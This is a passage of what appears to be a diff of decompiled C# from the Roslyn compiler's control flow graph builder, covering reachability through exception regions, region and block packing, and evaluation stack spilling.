enclosingRegion.NestedRegions.IndexOf(controlFlowRegion, 1); + if (num <= 0) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 448); + } + dispatchExceptionThroughCatches(enclosingRegion, num + 1); + fromRegion = enclosingRegion; + goto IL_00b6; + } + fromRegion = controlFlowRegion; + goto IL_00b6; + IL_00b6: + if (fromRegion == null) + { + break; + } + } + } + void dispatchExceptionThroughCatches(ControlFlowRegion tryAndCatch, int startAt) + { + for (int i = startAt; i < tryAndCatch.NestedRegions.Length; i++) + { + ControlFlowRegion controlFlowRegion = tryAndCatch.NestedRegions[i]; + switch (controlFlowRegion.Kind) + { + case ControlFlowRegionKind.Catch: + toVisit.Add(blocks[controlFlowRegion.FirstBlockOrdinal]); + break; + case ControlFlowRegionKind.FilterAndHandler: + { + BasicBlockBuilder item = blocks[controlFlowRegion.FirstBlockOrdinal]; + toVisit.Add(item); + break; + } + default: + throw ExceptionUtilities.UnexpectedValue(controlFlowRegion.Kind); + } + } + } + void followBranch(BasicBlockBuilder current, in BasicBlockBuilder.Branch reference) + { + switch (reference.Kind) + { + case ControlFlowBranchSemantics.None: + case ControlFlowBranchSemantics.StructuredExceptionHandling: + case ControlFlowBranchSemantics.ProgramTermination: + case ControlFlowBranchSemantics.Throw: + case ControlFlowBranchSemantics.Rethrow: + case ControlFlowBranchSemantics.Error: + break; + case ControlFlowBranchSemantics.Regular: + case ControlFlowBranchSemantics.Return: + if (stepThroughFinally(current.Region, reference.Destination)) + { + toVisit.Add(reference.Destination); + } + break; + default: + throw ExceptionUtilities.UnexpectedValue(reference.Kind); + } + } + bool stepThroughFinally(ControlFlowRegion region, BasicBlockBuilder destination) + { + int ordinal = destination.Ordinal; + while (!region.ContainsBlock(ordinal)) + { + ControlFlowRegion enclosingRegion = region.EnclosingRegion; + if (region.Kind == ControlFlowRegionKind.Try && enclosingRegion.Kind == ControlFlowRegionKind.TryAndFinally && !stepThroughSingleFinally(enclosingRegion.NestedRegions[1])) + { + return false; + } + region = enclosingRegion; + } + return true; + } + bool stepThroughSingleFinally(ControlFlowRegion @finally) + { + if (!continueDispatchAfterFinally.TryGetValue(@finally, out var value)) + { + bool fellThrough2; + BitVector other = MarkReachableBlocks(blocks, @finally.FirstBlockOrdinal, @finally.LastBlockOrdinal, toVisit, continueDispatchAfterFinally, dispatchedExceptionsFromRegions, out fellThrough2); + visited.UnionWith(in other); + value = fellThrough2 && blocks[@finally.LastBlockOrdinal].FallThrough.Kind == ControlFlowBranchSemantics.StructuredExceptionHandling; + continueDispatchAfterFinally.Add(@finally, value); + } + return value; + } + } + + private static void Pack(ArrayBuilder blocks, RegionBuilder root, PooledDictionary regionMap) + { + bool flag = true; + while ((flag | PackRegions(root, blocks, regionMap)) && PackBlocks(blocks, regionMap)) + { + flag = false; + } + } + + private static bool PackRegions(RegionBuilder root, ArrayBuilder blocks, PooledDictionary regionMap) + { + return PackRegion(root); + bool PackRegion(RegionBuilder region) + { + bool result = false; + if (region.HasRegions) + { + for (int num = region.Regions.Count - 1; num >= 0; num--) + { + RegionBuilder regionBuilder = region.Regions[num]; + if (PackRegion(regionBuilder)) + { + result = true; + } + if (regionBuilder.Kind == ControlFlowRegionKind.LocalLifetime && regionBuilder.Locals.IsEmpty && !regionBuilder.HasLocalFunctions && !regionBuilder.HasCaptureIds) + { + MergeSubRegionAndFree(regionBuilder, blocks, regionMap); + result = true; + } + } + } + switch (region.Kind) + { + case ControlFlowRegionKind.Root: + case ControlFlowRegionKind.LocalLifetime: + case ControlFlowRegionKind.Try: + case ControlFlowRegionKind.Filter: + case ControlFlowRegionKind.Catch: + case ControlFlowRegionKind.Finally: + case ControlFlowRegionKind.StaticLocalInitializer: + case ControlFlowRegionKind.ErroneousBody: + { + ArrayBuilder? regions = region.Regions; + if (regions != null && regions.Count == 1) + { + RegionBuilder regionBuilder2 = region.Regions[0]; + if (regionBuilder2.Kind == ControlFlowRegionKind.LocalLifetime && regionBuilder2.FirstBlock == region.FirstBlock && regionBuilder2.LastBlock == region.LastBlock) + { + region.Locals = region.Locals.Concat(regionBuilder2.Locals); + region.AddRange(regionBuilder2.LocalFunctions); + region.AddCaptureIds(regionBuilder2.CaptureIds); + MergeSubRegionAndFree(regionBuilder2, blocks, regionMap); + result = true; + break; + } + } + if (region.HasRegions) + { + for (int num2 = region.Regions.Count - 1; num2 >= 0; num2--) + { + RegionBuilder regionBuilder3 = region.Regions[num2]; + if (regionBuilder3.Kind == ControlFlowRegionKind.LocalLifetime && !regionBuilder3.HasLocalFunctions && !regionBuilder3.HasRegions && regionBuilder3.FirstBlock == regionBuilder3.LastBlock) + { + BasicBlockBuilder firstBlock = regionBuilder3.FirstBlock; + if (!firstBlock.HasStatements && firstBlock.BranchValue == null) + { + regionMap[firstBlock] = region; + regionBuilder3.Free(); + region.Regions.RemoveAt(num2); + result = true; + } + } + } + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue(region.Kind); + case ControlFlowRegionKind.FilterAndHandler: + case ControlFlowRegionKind.TryAndCatch: + case ControlFlowRegionKind.TryAndFinally: + break; + } + return result; + } + } + + private static void MergeSubRegionAndFree(RegionBuilder subRegion, ArrayBuilder blocks, PooledDictionary regionMap, bool canHaveEmptyRegion = false) + { + RegionBuilder enclosing = subRegion.Enclosing; + if (subRegion.IsEmpty) + { + enclosing.Remove(subRegion); + subRegion.Free(); + return; + } + int num = subRegion.FirstBlock.Ordinal; + if (subRegion.HasRegions) + { + ArrayBuilder.Enumerator enumerator = subRegion.Regions.GetEnumerator(); + while (enumerator.MoveNext()) + { + RegionBuilder current = enumerator.Current; + for (int i = num; i < current.FirstBlock.Ordinal; i++) + { + regionMap[blocks[i]] = enclosing; + } + num = current.LastBlock.Ordinal + 1; + } + enclosing.ReplaceRegion(subRegion, subRegion.Regions); + } + else + { + enclosing.Remove(subRegion); + } + for (int j = num; j <= subRegion.LastBlock.Ordinal; j++) + { + regionMap[blocks[j]] = enclosing; + } + subRegion.Free(); + } + + private static bool PackBlocks(ArrayBuilder blocks, PooledDictionary regionMap) + { + ArrayBuilder fromCurrent = null; + ArrayBuilder fromDestination = null; + ArrayBuilder fromPredecessor = null; + ArrayBuilder arrayBuilder = null; + bool result = false; + bool flag; + do + { + flag = false; + int num = blocks.Count - 1; + for (int i = 1; i < num; i++) + { + BasicBlockBuilder basicBlockBuilder = blocks[i]; + basicBlockBuilder.Ordinal = i; + if (basicBlockBuilder.HasStatements) + { + BasicBlockBuilder singletonPredecessorOrDefault = basicBlockBuilder.GetSingletonPredecessorOrDefault(); + if (singletonPredecessorOrDefault == null || singletonPredecessorOrDefault.HasCondition || singletonPredecessorOrDefault.Ordinal >= basicBlockBuilder.Ordinal || singletonPredecessorOrDefault.Kind == BasicBlockKind.Entry || singletonPredecessorOrDefault.FallThrough.Destination != basicBlockBuilder || regionMap[singletonPredecessorOrDefault] != regionMap[basicBlockBuilder]) + { + continue; + } + singletonPredecessorOrDefault.MoveStatementsFrom(basicBlockBuilder); + flag = true; + } + ref BasicBlockBuilder.Branch fallThrough = ref basicBlockBuilder.FallThrough; + if (!basicBlockBuilder.HasCondition) + { + if (fallThrough.Destination == basicBlockBuilder) + { + continue; + } + RegionBuilder regionBuilder = regionMap[basicBlockBuilder]; + if (regionBuilder.FirstBlock == regionBuilder.LastBlock) + { + if (regionBuilder.Kind == ControlFlowRegionKind.Finally && fallThrough.Destination == null && fallThrough.Kind == ControlFlowBranchSemantics.StructuredExceptionHandling && !basicBlockBuilder.HasPredecessors) + { + RegionBuilder? enclosing = regionBuilder.Enclosing; + RegionBuilder regionBuilder2 = enclosing.Regions.First(); + if (regionBuilder2.Locals.IsEmpty && !regionBuilder2.HasLocalFunctions && !regionBuilder2.HasCaptureIds) + { + i = regionBuilder2.FirstBlock.Ordinal - 1; + MergeSubRegionAndFree(regionBuilder2, blocks, regionMap); + } + else + { + regionBuilder2.Kind = ControlFlowRegionKind.LocalLifetime; + i--; + } + MergeSubRegionAndFree(regionBuilder, blocks, regionMap); + RegionBuilder enclosing2 = enclosing.Enclosing; + MergeSubRegionAndFree(enclosing, blocks, regionMap); + num--; + removeBlock(basicBlockBuilder, enclosing2); + result = true; + flag = true; + } + continue; + } + if (fallThrough.Kind == ControlFlowBranchSemantics.StructuredExceptionHandling) + { + if (basicBlockBuilder.HasPredecessors) + { + BasicBlockBuilder singletonPredecessorOrDefault2 = basicBlockBuilder.GetSingletonPredecessorOrDefault(); + if (singletonPredecessorOrDefault2 == null || singletonPredecessorOrDefault2.Ordinal != i - 1 || singletonPredecessorOrDefault2.FallThrough.Destination != basicBlockBuilder || singletonPredecessorOrDefault2.Conditional.Destination == basicBlockBuilder || regionMap[singletonPredecessorOrDefault2] != regionBuilder) + { + continue; + } + singletonPredecessorOrDefault2.FallThrough = basicBlockBuilder.FallThrough; + } + } + else + { + IOperation branchValue = basicBlockBuilder.BranchValue; + if (tryGetImplicitEntryRegion(basicBlockBuilder, regionBuilder) != null && (branchValue != null || fallThrough.Destination != blocks[i + 1])) + { + continue; + } + if (branchValue != null) + { + if (!basicBlockBuilder.HasPredecessors && fallThrough.Kind == ControlFlowBranchSemantics.Return) + { + if (fallThrough.Destination.Kind != BasicBlockKind.Exit || !branchValue.IsImplicit || branchValue.Kind != OperationKind.LocalReference || !((ILocalReferenceOperation)branchValue).Local.IsFunctionValue) + { + continue; + } + } + else + { + BasicBlockBuilder singletonPredecessorOrDefault3 = basicBlockBuilder.GetSingletonPredecessorOrDefault(); + if (singletonPredecessorOrDefault3 == null || singletonPredecessorOrDefault3.BranchValue != null || singletonPredecessorOrDefault3.Kind == BasicBlockKind.Entry || regionMap[singletonPredecessorOrDefault3] != regionBuilder) + { + continue; + } + } + } + RegionBuilder regionBuilder3 = ((fallThrough.Destination == null) ? null : regionMap[fallThrough.Destination]); + if (basicBlockBuilder.HasPredecessors) + { + if (arrayBuilder == null) + { + arrayBuilder = ArrayBuilder.GetInstance(); + } + else + { + arrayBuilder.Clear(); + } + basicBlockBuilder.GetPredecessors(arrayBuilder); + if (regionBuilder != regionBuilder3) + { + fromCurrent?.Clear(); + fromDestination?.Clear(); + if (!checkBranchesFromPredecessors(arrayBuilder, regionBuilder, regionBuilder3)) + { + continue; + } + } + ArrayBuilder.Enumerator enumerator = arrayBuilder.GetEnumerator(); + while (enumerator.MoveNext()) + { + BasicBlockBuilder current = enumerator.Current; + if (tryMergeBranch(current, ref current.FallThrough, basicBlockBuilder) && branchValue != null) + { + current.BranchValue = branchValue; + } + tryMergeBranch(current, ref current.Conditional, basicBlockBuilder); + } + } + fallThrough.Destination?.RemovePredecessor(basicBlockBuilder); + } + i--; + num--; + removeBlock(basicBlockBuilder, regionBuilder); + result = true; + flag = true; + } + else + { + if (fallThrough.Kind == ControlFlowBranchSemantics.StructuredExceptionHandling) + { + continue; + } + BasicBlockBuilder singletonPredecessorOrDefault4 = basicBlockBuilder.GetSingletonPredecessorOrDefault(); + if (singletonPredecessorOrDefault4 == null) + { + continue; + } + RegionBuilder regionBuilder4 = regionMap[basicBlockBuilder]; + if (tryGetImplicitEntryRegion(basicBlockBuilder, regionBuilder4) == null && singletonPredecessorOrDefault4.Kind != BasicBlockKind.Entry && singletonPredecessorOrDefault4.FallThrough.Destination == basicBlockBuilder && !singletonPredecessorOrDefault4.HasCondition && regionMap[singletonPredecessorOrDefault4] == regionBuilder4) + { + mergeBranch(singletonPredecessorOrDefault4, ref singletonPredecessorOrDefault4.FallThrough, ref fallThrough); + fallThrough.Destination?.RemovePredecessor(basicBlockBuilder); + singletonPredecessorOrDefault4.BranchValue = basicBlockBuilder.BranchValue; + singletonPredecessorOrDefault4.ConditionKind = basicBlockBuilder.ConditionKind; + singletonPredecessorOrDefault4.Conditional = basicBlockBuilder.Conditional; + BasicBlockBuilder destination = basicBlockBuilder.Conditional.Destination; + if (destination != null) + { + destination.AddPredecessor(singletonPredecessorOrDefault4); + destination.RemovePredecessor(basicBlockBuilder); + } + i--; + num--; + removeBlock(basicBlockBuilder, regionBuilder4); + result = true; + flag = true; + } + } + } + blocks[0].Ordinal = 0; + blocks[num].Ordinal = num; + } + while (flag); + fromCurrent?.Free(); + fromDestination?.Free(); + fromPredecessor?.Free(); + arrayBuilder?.Free(); + return result; + bool checkBranchesFromPredecessors(ArrayBuilder predecessors, RegionBuilder currentRegion, RegionBuilder? destinationRegionOpt) + { + ArrayBuilder.Enumerator enumerator2 = predecessors.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BasicBlockBuilder current2 = enumerator2.Current; + RegionBuilder regionBuilder5 = regionMap[current2]; + if (regionBuilder5 != currentRegion) + { + if (destinationRegionOpt == null) + { + return false; + } + fromPredecessor?.Clear(); + collectAncestorsAndSelf(currentRegion, ref fromCurrent); + collectAncestorsAndSelf(destinationRegionOpt, ref fromDestination); + collectAncestorsAndSelf(regionBuilder5, ref fromPredecessor); + int num2 = getIndexOfLastLeftRegion(fromCurrent, fromDestination); + int num3 = getIndexOfLastLeftRegion(fromPredecessor, fromDestination); + int num4 = getIndexOfLastLeftRegion(fromPredecessor, fromCurrent); + if (fromPredecessor.Count - num4 + fromCurrent.Count - num2 != fromPredecessor.Count - num3) + { + return false; + } + } + else if (current2.Kind == BasicBlockKind.Entry && destinationRegionOpt == null) + { + return false; + } + } + return true; + } + static void collectAncestorsAndSelf([DisallowNull] RegionBuilder? from, [NotNull] ref ArrayBuilder? builder) + { + if (builder == null) + { + builder = ArrayBuilder.GetInstance(); + } + else if (builder.Count != 0) + { + return; + } + do + { + builder.Add(from); + from = from.Enclosing; + } + while (from != null); + builder.ReverseContents(); + } + static int getIndexOfLastLeftRegion(ArrayBuilder from, ArrayBuilder to) + { + int j; + for (j = 0; j < from.Count && j < to.Count && from[j] == to[j]; j++) + { + } + return j; + } + static void mergeBranch(BasicBlockBuilder predecessor, ref BasicBlockBuilder.Branch predecessorBranch, ref BasicBlockBuilder.Branch successorBranch) + { + predecessorBranch.Destination = successorBranch.Destination; + successorBranch.Destination?.AddPredecessor(predecessor); + predecessorBranch.Kind = successorBranch.Kind; + } + void removeBlock(BasicBlockBuilder block, RegionBuilder region) + { + if (region.FirstBlock == block) + { + BasicBlockBuilder firstBlock = (region.FirstBlock = blocks[block.Ordinal + 1]); + RegionBuilder enclosing3 = region.Enclosing; + while (enclosing3 != null && enclosing3.FirstBlock == block) + { + enclosing3.FirstBlock = firstBlock; + enclosing3 = enclosing3.Enclosing; + } + } + else if (region.LastBlock == block) + { + BasicBlockBuilder lastBlock = (region.LastBlock = blocks[block.Ordinal - 1]); + RegionBuilder enclosing4 = region.Enclosing; + while (enclosing4 != null && enclosing4.LastBlock == block) + { + enclosing4.LastBlock = lastBlock; + enclosing4 = enclosing4.Enclosing; + } + } + regionMap.Remove(block); + blocks.RemoveAt(block.Ordinal); + block.Free(); + } + static RegionBuilder? tryGetImplicitEntryRegion(BasicBlockBuilder block, [DisallowNull] RegionBuilder? currentRegion) + { + do + { + if (currentRegion.FirstBlock != block) + { + return null; + } + ControlFlowRegionKind kind = currentRegion.Kind; + if ((uint)(kind - 3) <= 1u || kind == ControlFlowRegionKind.Finally) + { + return currentRegion; + } + currentRegion = currentRegion.Enclosing; + } + while (currentRegion != null); + return null; + } + static bool tryMergeBranch(BasicBlockBuilder predecessor, ref BasicBlockBuilder.Branch predecessorBranch, BasicBlockBuilder successor) + { + if (predecessorBranch.Destination == successor) + { + mergeBranch(predecessor, ref predecessorBranch, ref successor.FallThrough); + return true; + } + return false; + } + } + + private static void CheckUnresolvedBranches(ArrayBuilder blocks, PooledDictionary? labeledBlocks) + { + if (labeledBlocks == null) + { + return; + } + PooledHashSet unresolved = null; + foreach (BasicBlockBuilder value in labeledBlocks.Values) + { + if (value.Ordinal == -1) + { + if (unresolved == null) + { + unresolved = PooledHashSet.GetInstance(); + } + unresolved.Add(value); + } + } + if (unresolved != null) + { + ArrayBuilder.Enumerator enumerator2 = blocks.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BasicBlockBuilder current2 = enumerator2.Current; + fixupBranch(ref current2.Conditional); + fixupBranch(ref current2.FallThrough); + } + unresolved.Free(); + } + void fixupBranch(ref BasicBlockBuilder.Branch branch) + { + if (branch.Destination != null && unresolved.Contains(branch.Destination)) + { + branch.Destination = null; + branch.Kind = ControlFlowBranchSemantics.Error; + } + } + } + + private void VisitStatement(IOperation? operation) + { + if (operation != null) + { + IOperation currentStatement = _currentStatement; + _currentStatement = operation; + EvalStackFrame frame = PushStackFrame(); + AddStatement(base.Visit(operation, null)); + PopStackFrameAndLeaveRegion(frame); + _currentStatement = currentStatement; + } + } + + private void AddStatement(IOperation? statement) + { + if (statement != null) + { + Operation.SetParentOperation(statement, null); + CurrentBasicBlock.AddStatement(statement); + } + } + + [MemberNotNull("_currentBasicBlock")] + private void AppendNewBlock(BasicBlockBuilder block, bool linkToPrevious = true) + { + if (linkToPrevious) + { + BasicBlockBuilder basicBlockBuilder = _blocks.Last(); + if (basicBlockBuilder.FallThrough.Destination == null) + { + LinkBlocks(basicBlockBuilder, block); + } + } + if (block.Ordinal != -1) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 1312); + } + block.Ordinal = _blocks.Count; + _blocks.Add(block); + _currentBasicBlock = block; + _currentRegion.ExtendToInclude(block); + _regionMap.Add(block, _currentRegion); + } + + private void EnterRegion(RegionBuilder region, bool spillingStack = false) + { + if (!spillingStack) + { + SpillEvalStack(); + } + _currentRegion?.Add(region); + _currentRegion = region; + _currentBasicBlock = null; + } + + private void LeaveRegion() + { + if (_currentRegion.IsEmpty) + { + AppendNewBlock(new BasicBlockBuilder(BasicBlockKind.Block)); + } + RegionBuilder currentRegion = _currentRegion; + _currentRegion = _currentRegion.Enclosing; + _currentRegion?.ExtendToInclude(currentRegion.LastBlock); + _currentBasicBlock = null; + } + + private static void LinkBlocks(BasicBlockBuilder prevBlock, BasicBlockBuilder nextBlock, ControlFlowBranchSemantics branchKind = ControlFlowBranchSemantics.Regular) + { + prevBlock.FallThrough.Destination = nextBlock; + prevBlock.FallThrough.Kind = branchKind; + nextBlock.AddPredecessor(prevBlock); + } + + private void UnconditionalBranch(BasicBlockBuilder nextBlock) + { + LinkBlocks(CurrentBasicBlock, nextBlock); + _currentBasicBlock = null; + } + + public override IOperation? VisitBlock(IBlockOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + EnterRegion(new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, operation.Locals)); + VisitStatements(operation.Operations); + LeaveRegion(); + return FinishVisitingStatement(operation); + } + + private void StartVisitingStatement(IOperation operation) + { + SpillEvalStack(); + } + + [return: NotNullIfNotNull("result")] + private IOperation? FinishVisitingStatement(IOperation originalOperation, IOperation? result = null) + { + if (_currentStatement == originalOperation) + { + return result; + } + return result ?? MakeInvalidOperation(originalOperation.Syntax, originalOperation.Type, ImmutableArray.Empty); + } + + private void VisitStatements(ImmutableArray statements) + { + for (int i = 0; i < statements.Length && !VisitStatementsOneOrAll(statements[i], statements, i); i++) + { + } + } + + private bool VisitStatementsOneOrAll(IOperation? operation, ImmutableArray statements, int startIndex) + { + if (!(operation is IUsingDeclarationOperation operation2)) + { + if (operation is ILabeledOperation { Operation: not null } labeledOperation) + { + return visitPossibleUsingDeclarationInLabel(labeledOperation); + } + VisitStatement(operation); + return false; + } + ReadOnlySpan readOnlySpan = statements.AsSpan(); + int num = startIndex + 1; + VisitUsingVariableDeclarationOperation(operation2, readOnlySpan.Slice(num, readOnlySpan.Length - num)); + return true; + bool visitPossibleUsingDeclarationInLabel(ILabeledOperation labelOperation) + { + IOperation currentStatement = _currentStatement; + _currentStatement = labelOperation; + StartVisitingStatement(labelOperation); + VisitLabel(labelOperation.Label); + bool result = VisitStatementsOneOrAll(labelOperation.Operation, statements, startIndex); + FinishVisitingStatement(labelOperation); + _currentStatement = currentStatement; + return result; + } + } + + internal override IOperation? VisitWithStatement(IWithStatementOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + ImplicitInstanceInfo currentImplicitInstance = _currentImplicitInstance; + _currentImplicitInstance = new ImplicitInstanceInfo(VisitAndCapture(operation.Value)); + VisitStatement(operation.Body); + _currentImplicitInstance = currentImplicitInstance; + return FinishVisitingStatement(operation); + } + + public override IOperation? VisitConstructorBodyOperation(IConstructorBodyOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + EnterRegion(new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, operation.Locals)); + if (operation.Initializer != null) + { + VisitStatement(operation.Initializer); + } + VisitMethodBodyBaseOperation(operation); + LeaveRegion(); + return FinishVisitingStatement(operation); + } + + public override IOperation? VisitMethodBodyOperation(IMethodBodyOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + VisitMethodBodyBaseOperation(operation); + return FinishVisitingStatement(operation); + } + + private void VisitMethodBodyBaseOperation(IMethodBodyBaseOperation operation) + { + VisitMethodBodies(operation.BlockBody, operation.ExpressionBody); + } + + private void VisitMethodBodies(IBlockOperation? blockBody, IBlockOperation? expressionBody) + { + if (blockBody != null) + { + VisitStatement(blockBody); + if (expressionBody != null) + { + UnconditionalBranch(_exit); + EnterRegion(new RegionBuilder(ControlFlowRegionKind.ErroneousBody)); + VisitStatement(expressionBody); + LeaveRegion(); + } + } + else if (expressionBody != null) + { + VisitStatement(expressionBody); + } + } + + public override IOperation? VisitConditional(IConditionalOperation operation, int? captureIdForResult) + { + if (operation == _currentStatement) + { + if (operation.WhenFalse == null) + { + BasicBlockBuilder dest = null; + VisitConditionalBranch(operation.Condition, ref dest, jumpIfTrue: false); + VisitStatement(operation.WhenTrue); + AppendNewBlock(dest); + } + else + { + BasicBlockBuilder dest2 = null; + VisitConditionalBranch(operation.Condition, ref dest2, jumpIfTrue: false); + VisitStatement(operation.WhenTrue); + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + UnconditionalBranch(basicBlockBuilder); + AppendNewBlock(dest2); + VisitStatement(operation.WhenFalse); + AppendNewBlock(basicBlockBuilder); + } + return null; + } + SpillEvalStack(); + BasicBlockBuilder dest3 = null; + VisitConditionalBranch(operation.Condition, ref dest3, jumpIfTrue: false); + BasicBlockBuilder basicBlockBuilder2 = new BasicBlockBuilder(BasicBlockKind.Block); + IOperation result; + if (operation.WhenTrue is IConversionOperation conversionOperation && conversionOperation.Operand.Kind == OperationKind.Throw) + { + BaseVisitRequired(conversionOperation.Operand, null); + UnconditionalBranch(basicBlockBuilder2); + AppendNewBlock(dest3); + result = VisitRequired(operation.WhenFalse); + } + else if (operation.WhenFalse is IConversionOperation conversionOperation2 && conversionOperation2.Operand.Kind == OperationKind.Throw) + { + result = VisitRequired(operation.WhenTrue); + UnconditionalBranch(basicBlockBuilder2); + AppendNewBlock(dest3); + BaseVisitRequired(conversionOperation2.Operand, null); + } + else + { + RegionBuilder regionBuilder = new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, default(ImmutableArray), isStackSpillRegion: true); + EnterRegion(regionBuilder); + int num = captureIdForResult ?? GetNextCaptureId(regionBuilder); + VisitAndCapture(operation.WhenTrue, num); + UnconditionalBranch(basicBlockBuilder2); + AppendNewBlock(dest3); + VisitAndCapture(operation.WhenFalse, num); + result = GetCaptureReference(num, operation); + } + AppendNewBlock(basicBlockBuilder2); + return result; + } + + private void VisitAndCapture(IOperation operation, int captureId) + { + EvalStackFrame frame = PushStackFrame(); + IOperation result = BaseVisitRequired(operation, captureId); + PopStackFrame(frame); + CaptureResultIfNotAlready(operation.Syntax, captureId, result); + LeaveRegionIfAny(frame); + } + + private IOperation VisitAndCapture(IOperation operation) + { + EvalStackFrame frame = PushStackFrame(); + PushOperand(BaseVisitRequired(operation, null)); + SpillEvalStack(); + return PopStackFrame(frame, PopOperand()); + } + + private void CaptureResultIfNotAlready(SyntaxNode syntax, int captureId, IOperation result) + { + if (result.Kind != OperationKind.FlowCaptureReference || captureId != ((IFlowCaptureReferenceOperation)result).Id.Value) + { + SpillEvalStack(); + AddStatement(new FlowCaptureOperation(captureId, syntax, result)); + } + } + + private EvalStackFrame PushStackFrame() + { + EvalStackFrame evalStackFrame = new EvalStackFrame(); + _evalStack.Push((evalStackFrame, null)); + return evalStackFrame; + } + + private void PopStackFrame(EvalStackFrame frame, bool mergeNestedRegions = true) + { + int count = _evalStack.Count; + if (_startSpillingAt == count) + { + _startSpillingAt--; + } + _evalStack.Pop(); + if (!(frame.RegionBuilderOpt != null && mergeNestedRegions)) + { + return; + } + while (_currentRegion != frame.RegionBuilderOpt) + { + RegionBuilder currentRegion = _currentRegion; + _currentRegion = currentRegion.Enclosing; + _currentRegion.AddCaptureIds(currentRegion.CaptureIds); + if (!currentRegion.IsEmpty) + { + _currentRegion.ExtendToInclude(currentRegion.LastBlock); + } + MergeSubRegionAndFree(currentRegion, _blocks, _regionMap, canHaveEmptyRegion: true); + } + } + + private void PopStackFrameAndLeaveRegion(EvalStackFrame frame) + { + PopStackFrame(frame); + LeaveRegionIfAny(frame); + } + + private void LeaveRegionIfAny(EvalStackFrame frame) + { + RegionBuilder regionBuilderOpt = frame.RegionBuilderOpt; + if (regionBuilderOpt != null) + { + while (_currentRegion != regionBuilderOpt) + { + LeaveRegion(); + } + LeaveRegion(); + } + } + + private T PopStackFrame(EvalStackFrame frame, T value) + { + PopStackFrame(frame); + return value; + } + + private void LeaveRegionsUpTo(RegionBuilder resultCaptureRegion) + { + while (_currentRegion != resultCaptureRegion) + { + LeaveRegion(); + } + } + + private int GetNextCaptureId(RegionBuilder owner) + { + int nextId = _captureIdDispenser.GetNextId(); + owner.AddCaptureId(nextId); + return nextId; + } + + private void SpillEvalStack() + { + int num = -1; + for (int num2 = _startSpillingAt - 1; num2 >= 0; num2--) + { + if (_evalStack[num2].frameOpt != null) + { + num = num2; + break; + } + } + for (int i = _startSpillingAt; i < _evalStack.Count; i++) + { + var (evalStackFrame, operation) = _evalStack[i]; + if (evalStackFrame != null) + { + num = i; + evalStackFrame.RegionBuilderOpt = new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, default(ImmutableArray), isStackSpillRegion: true); + EnterRegion(evalStackFrame.RegionBuilderOpt, spillingStack: true); + } + else + { + if (operation.Kind == OperationKind.FlowCaptureReference || operation.Kind == OperationKind.DeclarationExpression || operation.Kind == OperationKind.Discard || operation.Kind == OperationKind.OmittedArgument) + { + continue; + } + RegionBuilder regionBuilder = _evalStack[num].frameOpt.RegionBuilderOpt; + if (_currentRegion != regionBuilder) + { + PooledHashSet instance = PooledHashSet.GetInstance(); + for (int j = num + 1; j < _evalStack.Count; j++) + { + IOperation item = _evalStack[j].operationOpt; + if (item == null) + { + continue; + } + if (j < i) + { + if (item is IFlowCaptureReferenceOperation flowCaptureReferenceOperation) + { + instance.Add(flowCaptureReferenceOperation.Id); + } + } + else + { + if (j <= i) + { + continue; + } + foreach (IFlowCaptureReferenceOperation item2 in item.DescendantsAndSelf().OfType()) + { + instance.Add(item2.Id); + } + } + } + RegionBuilder regionBuilder2 = CurrentRegionRequired; + do + { + if (regionBuilder2.HasCaptureIds && regionBuilder2.CaptureIds.Any((CaptureId id, PooledHashSet set) => set.Contains(id), instance)) + { + regionBuilder = regionBuilder2; + break; + } + regionBuilder2 = regionBuilder2.Enclosing; + } + while (regionBuilder2 != regionBuilder); + instance.Free(); + } + int nextCaptureId = GetNextCaptureId(regionBuilder); + AddStatement(new FlowCaptureOperation(nextCaptureId, operation.Syntax, operation)); + _evalStack[i] = (null, GetCaptureReference(nextCaptureId, operation)); + while (_currentRegion != regionBuilder) + { + LeaveRegion(); + } + } + } + _startSpillingAt = _evalStack.Count; + } + + private void PushOperand(IOperation operation) + { + _evalStack.Push((null, operation)); + } + + private IOperation PopOperand() + { + int count = _evalStack.Count; + if (_startSpillingAt == count) + { + _startSpillingAt--; + } + return _evalStack.Pop().operationOpt; + } + + private IOperation PeekOperand() + { + return _evalStack.Peek().operationOpt; + } + + private void VisitAndPushArray(ImmutableArray array, Func? unwrapper = null) where T : IOperation + { + ImmutableArray.Enumerator enumerator = array.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + IOperation operation; + if (unwrapper != null) + { + operation = unwrapper(current); + } + else + { + IOperation operation2 = current; + operation = operation2; + } + PushOperand(VisitRequired(operation)); + } + } + + private ImmutableArray PopArray(ImmutableArray originalArray, Func, T>? wrapper = null) where T : IOperation + { + int length = originalArray.Length; + if (length == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + for (int num = length - 1; num >= 0; num--) + { + IOperation operation = PopOperand(); + instance.Add((wrapper != null) ? wrapper(operation, num, originalArray) : ((T)operation)); + } + instance.ReverseContents(); + return instance.ToImmutableAndFree(); + } + + private ImmutableArray VisitArray(ImmutableArray originalArray, Func? unwrapper = null, Func, T>? wrapper = null) where T : IOperation + { + VisitAndPushArray(originalArray, unwrapper); + return PopArray(originalArray, wrapper); + } + + private ImmutableArray VisitArguments(ImmutableArray arguments, bool instancePushed) + { + VisitAndPushArguments(arguments, instancePushed); + return PopArray(arguments, RewriteArgumentFromArray); + } + + private void VisitAndPushArguments(ImmutableArray arguments, bool instancePushed) + { + InterpolatedStringHandlerArgumentsContext currentInterpolatedStringHandlerArgumentContext = _currentInterpolatedStringHandlerArgumentContext; + ArrayBuilder arrayBuilder = null; + int num = -1; + for (int i = 0; i < arguments.Length; i++) + { + if (arguments[i].Value is IInterpolatedStringHandlerCreationOperation item) + { + num = i; + if (arrayBuilder == null) + { + arrayBuilder = ArrayBuilder.GetInstance(); + } + arrayBuilder.Add(item); + 